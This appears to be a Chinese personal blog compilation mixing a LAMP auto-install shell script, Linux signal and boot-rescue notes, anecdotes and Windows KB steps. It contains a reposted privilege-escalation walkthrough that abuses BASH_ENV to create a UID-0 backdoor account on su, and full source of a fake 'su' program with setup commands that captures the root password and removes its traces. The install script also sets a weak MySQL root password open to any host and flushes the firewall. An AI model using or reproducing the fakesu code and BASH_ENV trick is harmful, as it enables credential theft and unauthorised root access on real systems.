自动安装脚本

LAMP自动安装脚本,为工作的时候,天天敲命令,autoinstall。

很垃圾的、没有什么华丽的语言、N年后,看看自己写的,能笑什么样、

安装程序就不拿出来了、代码如下:

<code>

#!/bin/sh

#autoinstall 自动安装脚本
#本脚本用于hrjd server安装使用
#跑去文档,傻瓜式安装。
#没有自动判断文件功能
#应该遵循文件名称,不然报错
#注意错误提示,及时排错
#所有安装文件必须放在/root/hrjd下面

#2010.10.09 by:key1088

#jiance code
ls /usr/cis7|grep server > test1
ps aux|grep httpd|grep -v grep >> test1
if [ -s test1 ];then
rm -f test1
echo -e " 33[31m----------------jiance-------------- 33[0m"
echo -e " 33[33m------server----- 33[0m"
ps aux|grep server|grep -v grep
echo -e " 33[33m------lowlessip----- 33[0m"
ps aux|grep lowlessip|grep -v grep
echo -e " 33[33m------guard----- 33[0m"
ps aux|grep guard|grep -v grep
echo -e " 33[33m------httpd port----- 33[0m"
netstat -an|grep :80
echo -e " 33[33m------mysql port----- 33[0m"
netstat -an|grep :3306
echo -e " 33[33m------mode----- 33[0m"
lsmod |grep blackwhite
echo -e " 33[33m------mybridge----- 33[0m"
ifconfig mybridge|grep "inet addr:"
echo -e " 33[31m----------------jiance-------------- 33[0m"
exit
fi
#setup code
cd /root/hrjd/
printf "Start Auto Install hrjd Server SoftWare      33[32m[ok] 33[0mn"
printf " 33[32m----------------bridge setuping------------------- 33[0mn"
tar zxvf bridge-utils-1.0.6.tar.gz
cd bridge-utils-1.0.6
printf " 33[32m----------------configure --prefix=/usr------------------- 33[0mn"
./configure --prefix=/usr
printf " 33[32m----------------make------------------- 33[0mn"
make
printf " 33[32m----------------make install------------------- 33[0mn"
make install
printf " 33[32m----------------make done------------------- 33[0mn"
cd /etc/sysconfig/network-scripts/
if [ -f ifcfg-eth0 ]; then
echo "DEVICE=eth0" > ifcfg-eth0
echo "ONBOOT=yes" >> ifcfg-eth0
echo "TYPE=Ethernet" >> ifcfg-eth0
echo "BRIDGE=mybridge" >> ifcfg-eth0
echo -e " 33[32mifcfg-eth0 config ok 33[0m"
fi
if [ -f ifcfg-eth1 ]; then
echo "DEVICE=eth1" > ifcfg-eth1
echo "ONBOOT=yes" >> ifcfg-eth1
echo "TYPE=Ethernet" >> ifcfg-eth1
echo "BRIDGE=mybridge" >> ifcfg-eth1
echo -e " 33[32mifcfg-eth1 config ok 33[0m"
fi
if [ -f ifcfg-eth2 ]; then
echo "DEVICE=eth2" > ifcfg-eth2
echo "ONBOOT=yes" >> ifcfg-eth2
echo "TYPE=Ethernet" >> ifcfg-eth2
echo "BRIDGE=mybridge" >> ifcfg-eth2
echo -e " 33[32mifcfg-eth2 config ok 33[0m"
fi
if [ -f ifcfg-eth3 ]; then
echo "DEVICE=eth3" > ifcfg-eth3
echo "ONBOOT=yes" >> ifcfg-eth3
echo "TYPE=Ethernet" >> ifcfg-eth3
echo "BRIDGE=mybridge" >> ifcfg-eth3
echo -e " 33[32mifcfg-eth3 config ok 33[0m"
fi
if [ -f ifcfg-eth4 ]; then
echo "DEVICE=eth4" > ifcfg-eth4
echo "ONBOOT=yes" >> ifcfg-eth4
echo "TYPE=Ethernet" >> ifcfg-eth4
echo "BRIDGE=mybridge" >> ifcfg-eth5
echo -e " 33[32mifcfg-eth4 config ok 33[0m"
fi
if [ -f ifcfg-eth5 ]; then
echo "DEVICE=eth5" > ifcfg-eth5
echo "ONBOOT=yes" >> ifcfg-eth5
echo "TYPE=Ethernet" >> ifcfg-eth5
echo "BRIDGE=mybridge" >> ifcfg-eth5
echo -e " 33[32mifcfg-eth5 config ok 33[0m"
fi
echo "DEVICE=mybridge" > ifcfg-mybridge
echo "BOOTPROTO=static" >> ifcfg-mybridge
echo "ONBOOT=yes" >> ifcfg-mybridge
echo "TYPE=Bridge" >> ifcfg-mybridge
echo "NETMASK=255.255.255.0" >> ifcfg-mybridge
echo "IPADDR=192.168.0.204" >> ifcfg-mybridge
echo "GATEWAY=192.168.0.1" >> ifcfg-mybridge
echo "STP=on" >> ifcfg-mybridge
if [ -f ifcfg-mybridge ]; then
echo -e " 33[32mifcfg-mybridge config ok 33[0m"
fi
printf " 33[32m----------------bridge Done------------------- 33[0mn"
cd /root/hrjd
printf " 33[32m----------------MySql Setup------------------- 33[0mn"
cp my.cnf /etc/my.cnf
rpm -ivh mysql-client-5.0.22-0.i386.rpm
sleep 1
rpm -ivh mysql-devel-5.0.22-0.i386.rpm
sleep 1
rpm -ivh mysql-shared-5.0.22-0.i386.rpm
sleep 1
rpm -ivh mysql-server-5.0.22-0.i386.rpm
ps aux|grep mysql|grep -v grep > test1
if [ -s test1 ];then
echo -e " 33[32m----mysql runing ok---- 33[0mn"
mysqladmin -u root password 123
mysql -uroot -p123 -e "grant all on *.* to 'root'@'%' identified by '123'"
mysql -uroot -p123 -e "flush privileges"
iptables -F
rm -r test1
echo -e " 33[32m----------------MySql Setup Done-------------- 33[0mn"
else
echo -e " 33[31m----mysql no runing---- 33[0mn"
echo -e " 33[31m----mysql Setup error"
fi
printf " 33[32m---------------Apache Setup------------------- 33[0mn"
tar zxvf httpd-2.2.9.tar.gz
cd httpd-2.2.9
printf " 33[32m------------Apache ./config------------------- 33[0mn"
./configure --prefix=/usr/local/apache2 --enable-so -enable-rewrite
printf " 33[32m----------------Apache make------------------- 33[0mn"
make
printf " 33[32m----------Apache make install----------------- 33[0mn"
make install
cd /root/hrjd
cp -a ruqinjiance/ /usr/local/apache2/htdocs/
mv /usr/local/apache2/conf/httpd.conf /usr/local/apache2/conf/httpd.conf.bak
cp -a httpd.conf /usr/local/apache2/conf/httpd.conf
printf " 33[32m-------------Apache Setup Done---------------- 33[0mn"
printf " 33[32m-----------------PHP Setup-------------------- 33[0mn"
tar zxvf php-5.2.11.tar.gz
cd php-5.2.11
printf " 33[32m----------------PHP ./config ----------------- 33[0mn"
./configure --prefix=/usr/local/php5 --with-apxs2=/usr/local/apache2/bin/apxs --with-mysql=/usr/bin/mysql --with-config-file-path=/usr/local/apache2/conf --enable-sockets
make
make install
cd /root/hrjd
mv /usr/local/php5/php.ini /usr/local/php5/php.ini.bak
cp php.ini /usr/local/php5/php.ini
printf " 33[32m----------------PHP Setup Done----------------- 33[0mn"
printf " 33[32m---------------HRJD SERVER Setup--------------- 33[0mn"
cp /root/hrjd/hrjd.tar /usr/hrjd.tar
cd /usr
tar xvf hrjd.tar
cd /root/hrjd
chmod 755 rc.local
mv /etc/rc.d/rc.local /etc/rc.d/rc.local.bak
cp /root/hrjd/rc.local /etc/rc.d/rc.local
ls /dev/|grep hda > test1
if [ -s test1 ];then
echo -e " 33[32m------------IDE HD ID--------------"
hdparm -i /dev/hda|grep SerialNo
echo -e "------------IDE HD ID-------------- 33[0m"
rm -rf test1
else
chmod 777 sata
echo -e " 33[32m------------SAST HD ID--------------"
./sata
echo -e "------------SAST HD ID-------------- 33[0m"
fi
printf "HRJD Server setup ok"
getchar() {
    stty cbreak -echo
    dd if=/dev/tty bs=1 count=1 2> /dev/null
    stty -cbreak echo
}
printf " 33[32m-----------------press any key reboot----------------- 33[0m"
ret=`getchar`
echo
reboot

</code>

好好学习一个编程

以后要好好学习一下编程,思量也好,语言也好。
不想半途而废啊,学好了,做什么也有用哦。
有事的时候写写程序,学学习,
没事的时候构思个美女,写出来,给兄弟几个乐呵乐呵。
加油!!!
嘿嘿

如何使用命令trap来捕捉信号

  它有三种形式分别对应三种不同的信号回应方式.
第一种:
trap "commands" signal-list
trap "commands" 数字
当脚本收到signal-list清单内列出的信号时,trap命令执行双引号中的命令.
第二种:
trap signal-list
trap不指定任何命令,接受信号的默认操作.默认操作是结束进程的运行.
第三种:
trap "" "" signal-list
trap命令指定一个空命令串,允许忽视信号.
Linux信号简介
1) SIGHUP 本信号在用户终端连接(正常或非正常)结束时发出, 通常是在终端的控制进程结束时, 通知同一session内的各个作业, 这时它们与控制终端不再关联.
2) SIGINT 程序终止(interrupt)信号, 在用户键入INTR字符(通常是Ctrl-C)时发出
3) SIGQUIT 和SIGINT类似, 但由QUIT字符(通常是Ctrl-)来控制. 进程在因收到SIGQUIT退出时会产生core文件, 在这个意义上类似于一个程序错误信号.
4) SIGILL 执行了非法指令. 通常是因为可执行文件本身出现错误, 或者试图执行数据段. 堆栈溢出时也有可能产生这个信号.
5) SIGTRAP 由断点指令或其它trap指令产生. 由debugger使用.
6) SIGABRT 程序自己发现错误并调用abort时产生.
7) SIGIOT 在PDP-11上由iot指令产生, 在其它机器上和SIGABRT一样.
8) SIGBUS 非法地址, 包括内存地址对齐(alignment)出错. eg: 访问一个四个字长的整数, 但其地址不是4的倍数.
9) SIGFPE 在发生致命的算术运算错误时发出. 不仅包括浮点运算错误, 还包括溢出及除数为0等其它所有的算术的错误.
10) SIGKILL 用来立即结束程序的运行. 本信号不能被阻塞, 处理和忽略.
11) SIGUSR1 留给用户使用
12) SIGSEGV 试图访问未分配给自己的内存, 或试图往没有写权限的内存地址写数据.
13) SIGUSR2 留给用户使用
14) SIGPIPE Broken pipe
15) SIGALRM 时钟定时信号, 计算的是实际的时间或时钟时间. alarm函数使用该信号.
16) SIGTERM 程序结束(terminate)信号, 与SIGKILL不同的是该信号可以被阻塞和处理. 通常用来要求程序自己正常退出. shell命令kill缺省产生这个信号.
17) SIGCHLD 子进程结束时, 父进程会收到这个信号.
18) SIGCONT 让一个停止(stopped)的进程继续执行. 本信号不能被阻塞. 可以用一个handler来让程序在由stopped状态变为继续执行时完成特定的工作. 例如, 重新显示提示符
19) SIGSTOP 停止(stopped)进程的执行. 注意它和terminate以及interrupt的区别: 该进程还未结束, 只是暂停执行. 本信号不能被阻塞, 处理或忽略.
20) SIGTSTP 停止进程的运行, 但该信号可以被处理和忽略. 用户键入SUSP字符时(通常是Ctrl-Z)发出这个信号
21) SIGTTIN 当后台作业要从用户终端读数据时, 该作业中的所有进程会收到SIGTTIN信号. 缺省时这些进程会停止执行.
22) SIGTTOU 类似于SIGTTIN, 但在写终端(或修改终端模式)时收到.
23) SIGURG 有紧急数据或out-of-band数据到达socket时产生.
24) SIGXCPU 超过CPU时间资源限制. 这个限制可以由getrlimit/setrlimit来读取/改变
25) SIGXFSZ 超过文件大小资源限制.
26) SIGVTALRM 虚拟时钟信号. 类似于SIGALRM, 但是计算的是该进程占用的CPU时间.
27) SIGPROF 类似于SIGALRM/SIGVTALRM, 但包括该进程用的CPU时间以及系统调用的时间.
28) SIGWINCH 窗口大小改变时发出.
29) SIGIO 文件描述符准备就绪, 可以开始进行输入/输出操作.
30) SIGPWR Power failure

linux 启动过程中 init加载的一些程序失败 导致系统起不来。

都知道init是linux第一个调用程序,他是系统老大哥。
系统启动过程中不起来,以下几点。加载内核或驱动时候错误,那是内核的问题。
1.系统起不来,可以先进去单用户模式,直接在grub 菜单内核后面加1就可以进去,root密码忘记也可以这样修复。
2.系统盘,进入修复模块。chroot什么的,系统有提示的。
3。也是今天要说的。
系统启动过程中,不加载init,跳过init。直接加载一个shell。

和进入单用户类似,内核菜单后面添加内容一些内容。init=/bin/bash。直接指向bash。
因为不经过init,所有系统下的东西都不加载。可见系统也是只读的,没有经过fstab,只读不能修改任何东西的。
手工挂载。输入命令#mount /proc / -o remount,rw.这样就可以修改了
根据刚才系统不能启动错误提示,去修改一些地方。
然后mount /proc / -o remount,ro 还是变为只读吧。因为现在关机的时候,系统不会自动解挂。防止文件损坏。
最后reboot,安全重启就ok了。

linux下$BASH_ENV变量的利用

转载一编提权文章做解释:

一个linux提权用的技巧,放出来攒RP了。
OK,通常情况下,我们在执行bash脚本的时候,有一个执行过程,其中有一点比较重要:如果BASH_ENV被设置的话,它就会执行BASH_ENV指向的脚本
一个test:
以下是引用片段:
[xiaoyu@localdomain ~]$ echo $BASH_ENV
[xiaoyu@localdomain ~]$ export BASH_ENV="/tmp/.bashrc"
[xiaoyu@localdomain ~]$ echo $BASH_ENV
/tmp/.bashrc
[xiaoyu@localdomain ~]$ cat /tmp/.bashrc
#!/bin/bash
echo "Hello"
[xiaoyu@localdomain ~]$ ls -l
-rwxrwxr-x 1 xiaoyu xiaoyu 22 2008-09-11 05:54 test.sh

[xiaoyu@localdomain ~]$ cat test.sh
#!/bin/bash
echo "kk"
[xiaoyu@localdomain ~]$ ./test.sh
Hello
kk

恩,很好,和我们预期的一样。看看我们怎么利用。

grep su ~/.bash_history
显示此用户有使用su登录root账户的特殊癖好。以前我们遇到这种情况通常就是塞个fakesu.c进去。然后修改.bash_profile,建立个别 名之类的东西。通过getpass来获得root密码,记录,然后去除别名…..关键是管理员使用正确密码登录的时候也是会提示一次密码错误。遇到傻 点的管理员可能就放过这个细节了,再输入一遍密码就OK了。但是某些非人类admin会以最快的速度检查系统被入侵的迹象,外加啥啥啥,而且这种管理员改 root密码几乎是肯定的了。所以偷取下来的密码也没啥用处。恩,聪明的X客们一定知道我要做什么了。呵呵,先看看环境变量su后在不
以下是引用片段:
[xiaoyu@localdomain ~]$ echo $BASH_ENV
/tmp/.bashrc
[xiaoyu@localdomain ~]$ su
Password:
[root@localdomain xiaoyu]# echo $BASH_ENV
/tmp/.bashrc

OK,实验结束,实战:
以下是引用片段:
[xiaoyu@localdomain tmp]$ echo ’/usr/sbin/useradd -u 0 -o kk 2> /dev/null’ > /tmp/.bashrc
[xiaoyu@localdomain tmp]$ cat /tmp/.bashrc
/usr/sbin/useradd -u 0 -o kk 2> /dev/null
[xiaoyu@localdomain tmp]$ grep kk /etc/passwd
[xiaoyu@localdomain tmp]$ echo $BASH_ENV
/tmp/.bashrc
[xiaoyu@localdomain tmp]$ su
Password:
[root@localdomain tmp]# cd /home/xiaoyu



解释。
.bash_profile 文件内容

# .bash_profile

# Get the aliases and functions
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi

# User specific environment and startup programs

PATH=$PATH:$HOME/bin

export PATH
unset USERNAME

———————————————————————————————————————————-
———————————————————————————————————————————-
.bashrc文件
# .bashrc

# User specific aliases and functions

alias rm=’rm -i’
alias cp=’cp -i’
alias mv=’mv -i’

# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi

———————————————————————————————————————————-
———————————————————————————————————————————-
每当执行bash脚本,就会调用。默认是=>bash_profile。它在调用别的脚本。

$BASH_ENV变量定义后,直接掉过常规。
/tmp目录默认谁都可以写的,谁都可以调用。在httpd提权时,可以上传文件到这,可惜没有拿下。

export定义环境变量,启动一个shell后会改变。

只用su进去之后,环境变量没有改变。所以调用BASH时,创建用户。

$:su - root&#160; //可以预防,改变环境变量到root。




linux 记录su登陆密码代码

/*
* kpr-fakesu.c V0.9beta167 ;P
* by koper <[email]koper@linuxmail.org[/email]>

Setting up:
* admin@host:$ gcc -o .su fakesu.c; rm -rf fakesu.c
* admin@host:
$ mv .su /var/tmp/.su
* admin@host:$ cp .bash_profile .wgetrc
* admin@host:
$ echo "alias su=/var/tmp/.su">>.bash_profile
* admin@host:$ logout
* *** LOGIN **
admin@host:
$ su
* Password:
* su: Authentication failure
* Sorry.
* admin@host:$ su
* Password:
* root@host:
# logout
* admin@host:$ cat /var/tmp/.pwds
* root:dupcia17
* admin@host:
$
*
* /bin/su sends various failure information depending on the OS ver.
* Please modify the source to make it "fit" ;)
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[]){

FILE *fp;
char *user;
char *pass;
char filex[100];
char clean[100];

sprintf(filex,"/var/tmp/.pwds");
sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/sichunfeng/.wgetrc /home/sichunfeng/.bash_profile");
if(argc==1) user="root";
if(argc==2) user=argv[1];
if(argc>2){
if(strcmp(argv[1], "-l")==0)
user=argv[2];
else user=argv[1];}

fprintf(stdout,"Password: ");
pass=getpass ("");
system("sleep 3");
fprintf(stdout,"su: Authentication failurenSorry.n");

if ((fp=fopen(filex,"w")) != NULL)
{
fprintf(fp, "%s:%sn", user, pass);
fclose(fp);
}

system(clean);
system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");
}

LAMP自己的另一种见解

LAMP环境=linux+Apache+mysql+php 多么完美的搭档。
慢慢的发现,这个组合环境是多么的简单,多么的没有技术。
在公司工作两个星期,所见、所想和大家分享一下。
下面是自己的一些片面的见解。正好也组成了LAMP,也和原始的LAMP深一步的理解。欢迎大家拍砖哈。

L=linux。这里是我认为只叫linux,不合适,范围太大、太广、太深了。当前电子产品发展速度这么快。做嵌入式开发已经是一个趋势了。编译linux内核,自己裁剪系统是做系统的根本。这又离不开速度快、安全性高、开源的linux。可见linux内核系统是多么的重要。

A这里不是Apache了,而是泛指源代码,也就是说自己有写代码和编译代码的能力。也就是linux开发。如果你会编译内核,看懂内核代码,那这里的写代码的能力,应该就不用说了。

M这里也不是Mysql数据库,而是泛指数据库。现在只要是一个储存型或交互性软件(也许可以这样说),都离不开数据库。应该有设计和建设数据库的能力。去公司,别人都会问会安装数据库吗?笑话,安装谁不会,没有技术的。。也赚不到大钱的。。

P=web编程语言。php语言在web编程中,是速度最快的一个。不知道安全性,算不算厉害。不管是什么语言,你至少会一种web编程语言。也就是说必须具备web编程能力。。

如果你具备我说这几种能力,我相信找工作,真是九牛一毛的问题。组建团队,自己开公司也是没有问题的。

越来越发现自己越来越渺小、自己越来越垃圾、越来越令自己厌烦。
学习的时候,总是感觉差不多了,现在可见,学的一塌糊涂啊、什么都不会啊 。呜呜、
自己会慢慢努力的,期望越大失望越大呗。但是自己从来没有放弃过。因为我没有资本,没有资本是最大的资本。嘿嘿,理由找不不错。
就写到这把,想多。
最后,希望自己和自己的朋友、同学。都能够在linux上大展身手。以为公司里会linux的人太少了。linux才是咱们的资本、自学更是资本。

转载请注明:http://hi.baidu.com/key1088。

经典N个

某业内人士 10:06:01
有些zf技术人员水平差的无法理解,说说我以前遇到过的一次:

某单位网站服务器被黑了,他打电话求助别人帮他改了密码,然后登录,我看他老把密码输入在用户名处登不进,我很纳闷这是干什么?我也没提醒他,过了 好久他不得不向我求助说进不了,然后我教他用户名处输入用户名,密码处输入密码,他感谢我说又学了一个技巧。我很纳闷,问他你在这做网管做多久了,他说做 了有五年了。我看他桌子上还摆了一大堆的技术书籍。

其实这样的事情数不胜数,跟朋友闲聊得知有很多类似荒诞的事让人抓狂:

朋友给一家zf单位做安全检查和加固,发现所有主机管理员密码全部是123456,叫技术人员们改密码,他们很怀疑的眼光说,密码没告诉别人,黑客 怎么能知道?朋友解释这个密码太简单,靠手工猜测就能猜出来,他说黑客哪有可能偏会猜这个呢?然后又解释一堆,说黑客字典里都有这个密码,他还是不理解, 怎么会有?我没告诉他们啊,怎么黑客字典里都有呢!%¥(&^&

然后给的安全解决方案其中一项就是改密码。数日后,zf技术人员打来电话,问“怎么这么久你还没给我改密码,我要投诉你!”然后又解释了一大堆,密 码是他们自己内部改,让他改他就知道了!他还是不理解,你们不是做安全的么,密码不由你们改谁改?^%&%^$&^%

还有的技术人员也不是不懂技术:
某地做安全检查,朋友检查发现木马要把木马清掉,负责人说不要清掉!你清掉了,黑客进不来他们万一采取更大的报复怎么办?无语。。。

某业内人士   11:43:44
有的黑客也经典

某业内人士 11:44:31
某地发生DoS攻击,我去应急,黑客打来电话,逼要系统密码,否则就一直DoS
某业内人士 11:44:46
我和客户都哭笑不得

删除 System Volume Information 里内容

今天我的红伞报d:System Volume Information的木文件是木马。我郁闷不知道什么时候中的,但是杀不了,拒绝访问!默认权限是system,杀软无法访问,更无法删除。
官方介绍的方法。。反正不能系统还原,直接去掉了。。。
使用 FAT32 文件系统的 Microsoft Windows XP Professional 或 Windows XP Home Edition

  1. 单击“开始”,然后单击“我的电脑”。
  2. 在“工具”菜单上,单击“文件夹选 项”。
  3. 在“查看”选项卡上,单击“显示所有文件和文件夹”。
  4. 清除“隐藏受保护的操作系统文件(推荐)”复选框。当系 统提示您确认是否更改时,请单击“是”。
  5. 单击“确定”。
  6. 在根文件夹中双击“System Volume Information”文件夹以将其打开。

在域中使用 NTFS 文件系统的 Windows XP Professional
  1. 单击“开始”,然后单击“我的电脑”。
  2. 在“工具”菜单上,单击“文件夹选 项”。
  3. 在“查看”选项卡上,单击“显示所有文件和文件夹”。
  4. 清除“隐藏受保护的操作系统文件(推荐)”复选框。当系 统提示您确认是否更改时,请单击“是”。
  5. 单击“确定”。
  6. 在根文件夹中右键单击“System Volume Information”文件夹,然后单击“共享和安全”。
  7. 单击“安全”选项卡。
  8. 单击“添加”,然后键入要向其授予 该文件夹访问权限的用户的名称。选择相应的帐户位置(本地帐户或域帐户)。通常,这是您登录时使用的帐户。单击“确定”,然后再次单击“确定”。
  9. 在 根文件夹中双击“System Volume Information”文件夹以将其打开。

在工作组或独立计算机上使用 NTFS 文件系统的 Windows XP Professional
  1. 单击“开始”,然后单击“我的电脑”。
  2. 在“工具”菜单上,单击“文件夹选 项”。
  3. 在“查看”选项卡上,单击“显示所有文件和文件夹”。
  4. 清除“隐藏受保护的操作系统文件(推荐)”复选框。当系 统提示您确认是否更改时,请单击“是”。
  5. 清除“使用简单文件共享(推荐)”复选框。
  6. 单击“确定”。
  7. 在 根文件夹中右键单击“System Volume Information”文件夹,然后单击“属性”。
  8. 单击“安全”选项卡。
  9. 单 击“添加”,然后键入要向其授予该文件夹访问权限的用户的名称。通常,这是您登录时使用的帐户。单击“确定”,然后再次单击“确定”。
  10. 在 根文件夹中双击“System Volume Information”文件夹以将其打开。

    注意:现在,Windows XP Home Edition 的用户可以在正常模式下访问 System Volume Information 文件夹。

在使用 NTFS 文件系统的 Windows XP Home Edition 中使用 CACLS在采用 NTFS 文件系统的 Windows XP Home Edition 中,您还可以使用 Cacls 工具。Cacls 是一个命令行工具,可用于显示或修改文件或文件夹访问控制列表 (ACL)。有关 Cacls 工具的更多信息(包括用法和开关),请在“帮助和支持中心”中搜索“cacls”。
  1. 单击“开始”,单击“运行”,键入 cmd,然后单击“确定”。
  2. 请 确保您位于要访问其 System Volume Information 文件夹的分区的根文件夹中。例如,要访问 C:System Volume Information 文件夹,请确保您位于驱动器 C 的根文件夹中(即位于“C:”提示符处)。
  3. 键入下行内容,然后按 Enter: cacls "driveletter:System Volume Information" /E /G username:F 请确保按上面所示键入引号。此命令将具有“完全控制”权限的指定用户添加到文件夹。
  4. 在根文件夹中双击“System Volume Information”文件夹以将其打开。
  5. 如果需要在进行故障排除后删除这些权限,请在命令提示符处键入下行内容: cacls "driveletter:System Volume Information" /E /R username 此命令将删除指定用户的所有权限。

将计算机重新启动到安全模式时,下列步骤同样有效,因为当计算机在安全模式下运行时,简单文件共享会自动关闭。
  1. 打开“我的电脑”,右键单击“System Volume Information”文件夹,然后单击“属性”。
  2. 单击 “安全”选项卡。
  3. 单击“添加”,然后键入要向其授予该文件夹访问权限的用户的名称。通常,这是您登录时使用的帐户。
  4. 单 击“确定”,然后再次单击“确定”。
  5. 双击“System Volume Information”文件夹以将其打开
http://support.microsoft.com/kb/309531/zh-cn